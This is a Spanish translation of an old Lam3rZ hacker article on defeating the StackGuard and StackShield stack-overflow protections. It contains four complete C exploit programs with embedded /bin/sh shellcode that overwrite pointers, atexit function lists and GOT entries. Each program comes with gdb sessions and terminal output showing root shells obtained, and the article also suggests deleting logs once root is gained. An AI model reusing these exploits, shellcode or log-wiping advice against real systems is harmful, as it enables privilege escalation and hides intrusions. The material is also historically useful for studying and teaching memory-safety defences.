Este articulo pretende demostrar que es posible 'explotar' vulnerabilidades de overflow de la pila en sistemas seguros con StackGuard y StackShield incluso en los entornos mas hostiles (tales como cuando la pila no es ejecutable).
Texto Completo:
/* translated by honoriak <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> thz bulba, kil3r and Lam3rz for
letting me translate and publish it and for being so clever. */
|------------------- EVITANDO STACKGUARD Y STACKSHIELD ---------------------|
|---------------------------------------------------------------------------|
|--------------------- Bulba y Kil3r <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> ---------------------|
----| Prefacio
"Cuando un buffer sobreescribe un puntero... La historia de una mente
inquieta."
Este articulo pretende demostrar que es posible 'explotar'
vulnerabilidades de overflow de la pila en sistemas seguros con StackGuard y
StackShield incluso en los entornos mas hostiles (tales como cuando la pila
no es ejecutable).
----| Analisis de StackGuard
Segun sus autores, StackGuard es una "tecnica de compilacion simple que
elimina virtualmente las vulnerabilidades de buffer overflow con solo unas
modestas perdidas de rendimiento." [1]
Asumimos que el lector conoce el funcionamiento de los ataques de buffer
overflow y como escribir codigos de exploit. Si no sabes esto, por favor lee
P49-14.
En una nushell, podemos cambiar la direccion de retorno de la funcion
escribiendo mas alla del final del buffer de la variable local. Este hecho
de alterar la direccion de retorno de la funcion produce la
destruccion/modificacion de todos los datos contenidos en la pila mas alla
del final del buffer desbordado.
Que hace StackGuard? Situa una palabra "canary" al lado de la direccion de
retorno de la pila. Si la palabra "canary" ha sido alterada cuando la
funcion vuelve, entonces la pila ha sido atacada, y el programa responde
emitiendo una alerta de intruso en el syslog, y despues 'haltea'.
Considera la siguiente figura:
... ...
|------------------------------------|
| parametetros pasados a la funccion |
|------------------------------------|
| direc. de retorno de la func (RET) |
|------------------------------------|
| canary |
|------------------------------------|
| puntero del marco local (%ebp) |
|------------------------------------|
| variables locales |
|------------------------------------|
... ...
Para ser efectivo, el atacante no debe poder "spoofear" la palabra canary
poniendo el valor para la palabra canary en la cadena de ataque. StackGuard
ofrece 2 tecnicas para prevenir canary spoofing: "terminator" y "random".
Un canary terminator contiene NULL(0x00), CR (0x0d), LF (0x0a) y EOF (0xff)
-- cuatro caracteres que terminan la mayoria de operaciones de
cadenas, anulando el mal que produce el overflow.
Un canary random es escogido al azar en el momento de ejecucion del
programa. Aunque el atacante no pueda saber el valor de canary antes de que
el programa empiece a buscar la imagen ejecutable. El valor de random es
tomado de /dev/urandom si esta disponible, y creado a partir de la
fecha del dia si /dev/urandom no esta soportado. Esta aleatoriedad es
suficiente para impedir la mayoria de los intentos de prediccion.
----| StackShield
StackShield usa una tecnica diferente. La idea aqui es crear una pila
separada para almacenar una copia de la direccion de retorno de la funcion.
De nuevo esto es archivado poniendo algo de codigo justo al principio y al
final de la funcion protegida. El codigo en la funcion prolog copia la
direccion de retorno a una tabla especial y despues al epilog, esto se copia
despues a la pila. Asi el flujo de ejecucion se mantiene sin cambios -- la
funcion siempre retorno a su llamador. La direccion de retorno actual no es
comparada con la direccion de retorno salvada, asi que no hay forma de
chequear si un buffer overflow ha ocurrido. La ultima version tambien
aumenta algunas protecciones contra punteros de la funcion llamada que
apunta a direcciones no contenidas en segmentos .TEXT (esto para la
ejecucion del programa si el valor de retorno ha cambiado).
Parece que los dos sistemas son infalible. Pues no.
----| "Nelson Mengele debe estar libre"
"... un atacante puede evitar la proteccion de StackGuard usando buffer
overflows para alterar otros punteros en el programa ademas de la direccion
de retorno, tal como punteros a funciones o buffers longjmp, que no son
incluso necesarios en la pila." [2]
OK. Asi que. Necesitamos un poco de suerte para desbordar un puntero de
funcion o un longjmp? Apuesta! No es un muy comun encontrar la localizacion
de un puntero despues de nuestro buffer, y la mayoria de los programas no
lo tienen. Es mucho mas probable encontrar algun otro tipo de puntero. Por
ejemplo:
[root@sg StackGuard]# cat vul.c
// Programa vulnerable de ejemplo.
int f (char ** argv)
{
int pipa; // variable sin uso
char *p;
char a[30];
p=a;
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]); // <== strcpy() vulnerable
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy ;)\n");
}
main (int argc, char ** argv) {
f(argv);
execl("back_to_vul","",0); //<-- The exec that fails
printf("End of program\n");
}
Como puedes ver, simplemente sobreescribimos la direccion de retorno
desbordando nuestro buffer. Pero esto ya no se puede hacer desde que nuestro
programa esta protegido por StackGuard. Pero lo mas simple, la opcion mas
obvia no es siempre la mejor. Que pasa si sobreescribimos el puntero de 'p'?
La segunda (mas seguro) operacion con strncpy() nos llevara directamente a
la memoria apuntada por nosotros. Que pasa si p apunta a nuestra direccion
de retorno en la pila? Nosotros estamos alterando el retorno de la funcion
sin tocar el canary.
Asi que, que requiere nuestro ataque?
1. Necesitamos que el puntero p sea alojado fisicamente en la pila despues
de nuestro buffer a[].
2. Necesitamos un bug de overflow que nos permita sobreescribir el puntero p
(i.e.: un strcpy que no chequea).
3. Necesitamos una funcion *copy() (strcpy, memcopy, o cualquiera) que tome
*p como un destino y los datos especificados por el usuario como fuente, y
la no inicializacion de p entre el overflow y la copia.
Obviamente, dadas estas limitaciones no todos los programas compilados con
StackGuard van a ser vulnerables, pero tales vulnerabilidades estan ahi
fuera. Por ejemplo, el bug mapped_path del wu-ftpd 2.5, donde se desborda el
buffer mapped_path podria alterar los punteros argv y el ultimo arg usados
por setproctitle() resultando esto una modificacion de alguna parte de la
memoria de proceso. Concedido esto, eran datos basados en desbordamiento (no
basados en la pila) pero, por otra parte, esto muestra que los
requerimientos para nuestro citada vulnerabilidad son cosa corriente en el
mundo real.
Asi que como vamos a 'explotar' esto?
Sobreescribiendo p de forma que apuntara a la direccion de RET en la pila y
aunque el siguiente *copy() sobreescribira nuestro RET no tocara el canary
:) Si, necesitamos meter el shellcode tb (usamos argv[0]). Aqui esta un
exploit de ejemplo (nosotros usamos execle() para hacer el entorno
independiente):
[root@sg StackGuard]# cat ex.c
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0xbffffeb4; // <<== nos permite apuntar a RET
p = (int *)(addr);
*p=0xbfffff9b; // <<== new RET value
execle("./vul",shellcode,buf,addr,0,0);
}
Testeando en StackGuarded bajo una box con RH 5.2:
[root@sg StackGuard]# gcc vul.c -o vul
[root@sg StackGuard]# gcc ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=bffffeb4 -- after 1st strcpy
bash#
Como puedes ver, el primer strcpy() sobreescribe p, despues strncpy() copia
el nuevo valor de RET asi que cuando vuelve toma la direccion de nuestro
shellcode. Kaboom!
Esta tecnica funciona con programas compilados con gcc normal o gcc
StackGuarded, pero los programas compilados con StackShield estan a salvo de
esto.
----| No hay "cuchara"
Hable con Crispin Cowan <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>, uno de los desarrolladores de
StackGuard y el propuso un remedio contra el citado hack. Aqui esta la idea.
"La defensa del Canary aleatorio XOR: aqui, adoptamos la propuesta de Aaron Grier
para 'xor' el canary aleatorio con la direccion de retorno. El codigo de
validacion del canary usado al salir de funciones despues de la direccion de
retorno del XOR con el canary aleatorio correcto (asignado a esta funcion en
el momento de exec()) para calcular lo que el canary aleatorio grabado en la
pila es el que debe ser. Si el atacante ha hackeado la direccion de retorno,
entonces el canary aleatorio 'xored' no coincidira. El atacante no puede
calcular el canary para ponerlo en la pila sin conocer el valor del canary
aleatorio. Esto es una encriptacion efectiva de la direccion de retorno con
el canary aleatorio para esta funcion.
El desafio aqui es mantener al atacante sin saber el valor del canary
aleatorio. Previamente, hemos propuesto hacer que simplemente rodeando la
tabla del canary con paginas rojas, asi que el buffer overflow no podria ser
usado para extraer los valores del canary. Aunque, El ataque de Emsi
[descrito anteriormente] le permite sintetizar los punteros a direcciones
arbitrarias."
(La solucion mas facil aqui esta) "mprotect() la tabla de canary para
impedir al atacante corromperla."
Informado Crispin que ibamos a escribir un articulo sobre esto su respuesta
fue:
"Creo que podemos tener un compilador de StackGuard revisado (con el canary
aleatorio XOR) listo para sacarlo el lunes."
Ese compilador ha sido sacado. [3]
StackShield ofrece un (casi) igual de nivel de seguridad salvando la copia
del RET en un lugar seguro (de localizacion arbitraria y dimensiones --
aunque no necesariamente una buena practica) y chequeando su integridad
antes de hacer el return.
Nosotros podemos evitarlo.
Si tenemos un puntero que pueda ser manipulado, podemos usarlo para
sobreescribir cosas que puede ayudarnos a 'explotar' un overflow vulnerable
en un programa. Por ejemplo, tomamos la estructura fnlist que mantiene
funciones registradas via atexit(3) o on_exit(3). Para alcanzar este codigo,
desde luego, el programa necesita llamar a exit(), pero la mayoria de los
programas hace esto o al final de la ejecucion o cuando un error ocurre (y
en la mayoria de los casos podemos forzar un excepcion de error).
Veamos la estructura de fnlist:
[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul
Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 : 0x00000000 0x00000002 0x00000003
0x4000b
8c0
0x400eed88 : 0x00000000 0x00000003 0x08048c20
0x00000
000
0x400eed98 : 0x00000000 0x00000000
Podemos ver que llama a dos funciones: _fini [0x8048c20] y _dl_fini
[0x4000b8c0] y ninguna de estas toma algun argumento (chequea las fuentes de
glibc para entender como lee el contenido fnlist). Podemos sobreescribir
ambas funciones. La direccion de fnlist depende la libreria libc, asi que
sera la misma para todos los procesos de un maquina en particular.
El siguiente codigo 'explota' un overflow vulnerable cuando el programa sale
via exit():
[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== direccion de entrada en fnlist el cual modificaremos
p = (int *)(addr);
*p=0xbfffff9b; // <<== Direccion de la nueva funcion para llamar (shellcode) :)
execle("./vul",shellcode,buf,addr,0,0);
}
Como puedes ver nuestro exploit ha cambiado solo en una linea :)
Testeemos el exploit con el programa vulnerable:
[root@sg StackGuard]# gcc 3ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=400eed90 -- after 1st strcpy
After second strcpy ;)
End of program
bash#
Como puedes ver nuestro programa nos da una shell despues del final de la
ejecucion normal. Ni StackGuard ni StackShield puede proteger contra este
tipo de ataques.
Pero que pasa si nuestro programa no llama a exit() pero usa _exit()?
Veamos que pasa cuando sobreescribimos el canary. Un programa StackGuarded
llamara __canary_death_handler() (esta funcion es responsable de loggear el
intento de overflow y terminar el proceso). Veamos lo que pasa:
void __canary_death_handler (int index, int value, char pname[]) {
printf (message, index, value, pname) ;
syslog (1, message, index, value, pname) ;
raise (4) ;
exit (666) ;
}
Como ves, tenemos que llamar a exit() al final. Conseguido, 'explotar' el
programa de esta forma generara logs, pero si no hay otro camino, sera
inevitable. Ademas, si consigues root, puedes borrarlos despues.
Recibimos un email de Perry Wagle <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> (otro autor de
StackGuard): "Vemos que no visteis mi cambio para llamar _exit() en vez
de...".
El StackGuard actual llama _exit().
Desde luego el hack citado anteriormente no es aplicable a StackShield. La
proteccion de StackShield puede ser evitada sobreescribiendo la %ebp salvada
que no esta protegida. Una forma de 'explotar' esto (bajo las peores
condiciones) es descrita en "La sobreescritura del puntero de marco por klog
en Phrack 55 [4]. Cuando el programa es compilado usando StackShield con la
opcion '-z d' llama _exit() pero esto no es un problema para nosotros.
----| Descubriendo America
Que pasa si un sistema ha sido protegido con StackGuard y StackPatch (la
modificacion de Solar Designer que hace la pila no ejecutable)? Son estas
las peores condiciones? No tanto.
Desarrollamos una inteligente tecnica que puede ser usada si ninguno de los
citados metodos pueden ser usados.
Se recomienda un fantastico manual de Rafal Wojtczuk "Derrotando al patch
para la pila no ejecutable de Solar Designer" [5]. Su fantastica idea era
patchear la tabla de offset global (GOT). Con nuestra vulnerabilidad podemos
producir un puntero arbitrario, asi que por que no apuntar a GOT?
Usemos nuestra mente. Mira este programa vulnerable:
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]);
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy :)\n");
Si. El programa escribe nuestro contenido (argv[2]) a nuestro puntero de
forma que ejecuta el codigo de la libreria, printf(). OK, asi que lo que
necesitamos hacer para sobreescribir el GOT de printf() con la direccion de
system() de libc asi que se ejecutara system("After second strcpy :)\n");
Testeemos esto en la practica. Para hacer esto, desensamblamos la Procedure
Linkage Table (PLT) de printf().
[root@sg]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) x/2i printf
0x804856c : jmp *0x8049f18 <- entrada de GOT de printf()
0x8048572 : pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/evitando_stackguard_y_stackshield.txt]}x8
(gdb)
OK, asi que la entrada de GOT de printf() esta en 0x8049f18. Todo lo que
necesitamos es poner la direccion de system() de libc en esta locacalizacion,
0x8049f18. De acuerdo con el articulo de Rafal podemos calcular nuestra
direccion de system() que esta en: 0x40044000+0x2e740. 0x2e740 es un offset
de __libc_system() en la libreria libc:
[root@sg]# nm /lib/libc.so.6| grep system
0002e740 T __libc_system
0009bca0 T svcerr_systemerr
0002e740 W system
[ Nota: el lector a lo mejor sabe que no usabamos un kernel con el patch de
Solar. Estabamos teniendo problemas con init(8) halting despues de bootear.
Estabamos fuera de tiempo en la realizacion de este articulo asi que
decidimos actuar sin el patch del kernel. Todo lo que cmabiariamos es el
0x40. En sistemas con el patch de Solar, libc esta en 0x00XXYYZZ. Por tanto,
por ejemplo, la citada direccion seria 0x00044000+0x2e740, el 0x00 al
principio teminara con nuestra cadena. No estamos 100% seguros de que
StackPatch sea compatible con StackGuard, de serlo, e incluso de no serlo,
PUEDE ser... Pero no estamos seguros.. si alguien lo sabe, por favor que nos
los diga. ]
OK, testeemos el siguiente exploit:
[root@sg]# cat 3ex3.c
/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */
char *env[3]={"PATH=.",0};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[46];
int * p;
main() {
memset(buf,'A',36);
p = (int *)(buf+32);
*p++=0x8049f18;// <== printf() GOT entry address
p = (int *)(addr);
*p=0x40044000+0x2e740;// <<== Address of libc system()
printf("Exec code from %x\n",*p);
execle("./vul",shellcode,buf,addr,0,env);
}
Y testeemos !!!
[root@sg]# gcc 3ex3.c
[root@sg]# ./a.out
Exec code from 40072740
p=bffffec4 -- before 1st strcpy
p=8049f18 -- after 1st strcpy
sh: syntax error near unexpected token :)'
sh: -c: line 1: fter second strcpy :)'
Segmentation fault (core dumped)
Hrm. No funciona.
Desafortunadamente, esto pasa, la cadena de printf() contiende caracteres
especiales de shell. En la mayoria de los casos 'explotamos printf() para
ejecutar system() esto ejecutara cosas como "Here we are blah, blah and
blah", asi que todo lo que necesitamos es crear un shell script "Here" en
nuestro directorio de trabajo (si, necesitamos nuestro programa suid para no
poner la variable PATH).
Asi que que hacemos con nuestro inesperado ':)'?
Bueno depende, a veces simplemente tienes que olvidar printf() e intentar
encontrar una funcion que es ejecutada despues de nuestra 'exploitacion', tal
que tome 'plain text' como ultimo argumento. A veces, aunque, podemos ser
mas afortunados... Imagina que nuestro buffer a[] es la ultima variable local,
de forma que los argumentos pasados a la funcion llamada por nuestra funcion
vulnerable estan justo a continuacion en la pila. Y que si nosotros
persuadimos a __libc_system() para saltar el canary puesto? Podemos poner
eso saltando a __libc_system()+5 en vez de __libc_system(). Bien,
terminaremos con +argumentos cambiados un lugar mas hacia delante (i.e.
arg1->arg2...), y los primeros 4 bytes de la ultima variable local en la
pila son tratados como el primer argumento. La llamada printf() de la que
estamos intentando abusar tom un argumento, asi que solo el argumento que
system() conseguira es el puntero contenido en los primeros 4 bytes de a[].
Simplemente hazle apuntar a "/bin/sh" o algo similar.
El sobreescribir el GOT funciona para StackGuard, StackShield y StackPatch.
Puede ser usado en caso de que no podamos manipular el contenido completo de
lo que copiamos pero si parte de ello (como en wu-ftpd).
----| "Oily way"
El lector a lo mejor piensa que solo mostramos ejemplos sencillos, esos son
probablemente los que no vamos a encontrar. Una funcion vulnerable que
toma como sus argumentos una tabla entera de cadenas es algo poco comun. Mas
a menudo encontraras funciones como esta:
int f (char *string) {
[...]
char *p;
char a[64];
[...]
Chequea esto:
char dst_buffer[64]; /* destino final */
int f (char * string)
{
char *p;
char a[64];
p=dst_buffer; /* inicializacion del puntero */
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(a, string); /* string dentro */
/* analizando, copiando, concatenando ... black-string-magic */
/* SI, eso A LO MEJOR corrompe nuestros datos */
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p, a, 64); /* string fuera */
printf("After second strcpy ;)\n");
}
int main (int argc, char ** argv) {
f(argv[0]); /* interaccion */
printf("End of program\n");
}
Tu interactuas con la funcion vulnerable pasandole un simple string...
Pero y que pasa si estamos tratando con un sistema que tiene pilas no
ejecutables, y librerias mapeadas a direcciones algo estrañas (con NULLs
dentro de ello)? No podemos patchear el GOT con nuestra direccion en la
pila, porque la pila no es ejecutable.
Parece que es imposible, pero sigue leyendo! Nuestro sistema esta basado en
x86, y hay muchos concepciones sobre la habilidad para ejecutar ciertas
paginas de memoria. Chequeemos /proc/*/maps:
00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- El GOT esta aqui
bfffd000-c0000000 rwxp ffffe000 00:00 0
El GOT parece ser no ejecutable, pero SORPRESA! Ole por Intel que permite
ejecutar GOT donde tu deseabas! Asi que todo lo que tenemos que hacer es
poner nuestro shellcode alli, patchear la entrada del GOT para apuntar a
ello, y sientate y disfruta!
Para facilitar esto, aqui tienes un reducido truco:
Simplemente tenemos que cambiar dos lineas en el codigo del exploit:
*p=0x8049f84; // destination of our strncpy operation
[...]
*p=0x8049f84+4; // address of our shellcode
Todo lo que necesitamos es una operacion de copia que pueda copiar el
shellcode bien donde queremos. Nuestro shellcode no esta optimizado en lo
que se refiere a dimensiones ya que ocupa mas de 40 bytes, pero si tu eres
suficientemente manitas puedes hacer este codigo incluso mas reducido
haciendo un buen uso de jmp, call, popl (desde que sabes la direccion).
Otra cosa que tenemos que considerar son las 'signals'. Una tratante de la
'signal' de una funcion intenta llamar a una funcion con una jodida entrada
de GOT, y el programa 'muere'. Pero eso es simplemente un peligro teorico.
Y ahora que?
No quieres nuestro programa vulnerable?
Te parece todabia algo tan irreal?
Quizas te satisfagamos con esto:
char global_buf[64];
int f (char *string, char *dst)
{
char a[64];
printf ("dst=%x\t -- before 1st strcpy\n",dst);
printf ("string=%x\t -- before 1st strcpy\n",string);
strcpy(a,string);
printf ("dst=%x\t -- after 1st strcpy\n",dst);
printf ("string=%x\t -- after 1st strcpy\n",string);
// algun 'black magic' esta hecho con la cadena metida
strncpy(dst,a,64);
printf("dst=%x\t -- after second strcpy :)\n",dst);
}
main (int argc, char ** argv) {
f(argv[1],global_buf);
execl("back_to_vul","",0); //<-- El exec que falla
// No tengo ni idea de para que es
// :)
printf("End of program\n");
}
En este ejemplo tenemos nuestro puntero (dst) en la pila mas alla del canary
y del valor de RET, asi que no podemos cambiarlo sin 'matar' el canario y
sin ser descubiertos...
O podemos?
Tanto StackGuard como StackShield checkean que RET este alterado antes del
retorno de la funcion a su llamador (esto pasa al final de la funcion). En
la mayoria de los casos tenemos suficiente tiempo aqui para hcer algo que
tome el control del programa vulnerable.
Podemos hacerlo sobreescribiendo la entrada del GOT de la siguiente funcion
de libreria llamada.
No tenemos que preocuparnos sobre el orden de las variables locales y
tampoco nos importa si el 'canary esta vivo o no', podemos jugar!
Aqui esta el exploit:
/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
char shellcode[] = // 48 chars :)
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char buf[100];
int * p;
main() {
memset(buf,'A',100);
memcpy(buf+4,shellcode,48);
p = (int *)(buf+80); // <=- offset del segundo argumento de f() [dest one]
*p=0x8049f84;// <<== entrada de GOT de printf
p = (int *)(buf);
*p=0x8049f84+4;// <<== entrada de GOT de printf+4, hay esta nuestro shellcode :)
execle("./vul2","vul2",buf,0,0);
}
Y el resultado:
[root@sg]# ./a.out
p=804a050 -- before 1st strcpy
argv1p=bfffff91 -- before 1st strcpy
p=8049f84 -- after 1st strcpy
argv1=41414141 -- after 1st strcpy
bash#
----| Conclusion
1) StackGuard/StackShield puede salvarte de buffer overflows
accidentales pero no de la estupicidad del programador. Erreare humanum est,
es verdad, pero los programadores seguros no deben solo ser humanos, deben
ser 'security-aware-humans'.
2) - Revisando tu codigo - tu a lo mejor gastas algo de tiempo pero
seguramente incrementaras la seguridad de los programas que escribas.
- Usando StackGuard/StackShield/loquesea - tu a lo mejor haces bajar la
velocidad de tu sistema pero a cambio aumentos adicionalmente la seguridad.
- Si no haces nada para proteger tus programas - tomas el riesgo de ser
humillado cuando alguien 'explote' un overflow de tu codigo, y si esto pasa,
lo mereceras!
Asi que, se perfecto, ten cuidado, o deja que otros se rian de ti.
Estamos abiertos a comentarios o mejoras constructivas. Puedes contactar con
nosotros en la lista de correo de Lam3rZ en <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>.
Si, si... lo sabemos! Todavia no hay un exploit que funcione realmente :(
Estamos trabajando en ello.
Mirate:
http://emsi.it.pl/
and
http://lam3rz.hack.pl/
----| Addendum: Jan 5, 2000
Solucionamos el problema con StackGuard en un sistema con el patch de pila
no ejecutable de Solar Designer. No estamos seguros de que causaba el
problema, pero para evitar eso, pon enabled 'Autodetect GCC trampolines' y
'Emulate trampoline calls' durante la configuracion del kernel. Estamos
trabajando con Slackware Linux win StackGuard y trampolines pero con la pila
del usuario no ejecutable pero una RH 'StackGuarded' no nos permite trabajar
en tal configuracion... :)
----| Some Greetz /* i didn't translated this */
A18 team, HERT, CocaCola, Raveheart (for "Nelson Mengele..." song).
Nergal, mo¿e by¶ siê tak ujawni³? ;)
Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem.
- Kil3r
people I've been drinking with - because i've been drinking with you :)
people I'd like to drink with - because i will drink with you :)
people smarter than me - because you're better than I am
¡ÆÊ£ÑÓ¯¬±æê³ñó¿1/4 - for being wonderful iso-8859-2 characters
Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :)
koralik - ... just because
- Bulba
----| Referencias
[1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole,
Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand.
StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow
Attacks http://www.immunix.org/documentation.html
[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle
and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with
StackGuard http://www.immunix.org/documentation.html
[3] Security Alert: StackGuard 1.21
http://www.immunix.org/downloads.html
[4] klog. The Frame Pointer Overwrite
http://www.phrack.com/search.phtml?view&article=p55-8
[5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch
http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg=
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
----| Nota de autores
Este articulo es propiedad intelectual de Lam3rZ Group.
El conocimiento presentado aqui es la propiedad intelectual de toda la
humanidad, especialmente de los que nos entienden. :)
|EOF|-------------------------------------------------------------------------|
/* finished translation Thu Dec 7 16:29:53 CET 2000 */
|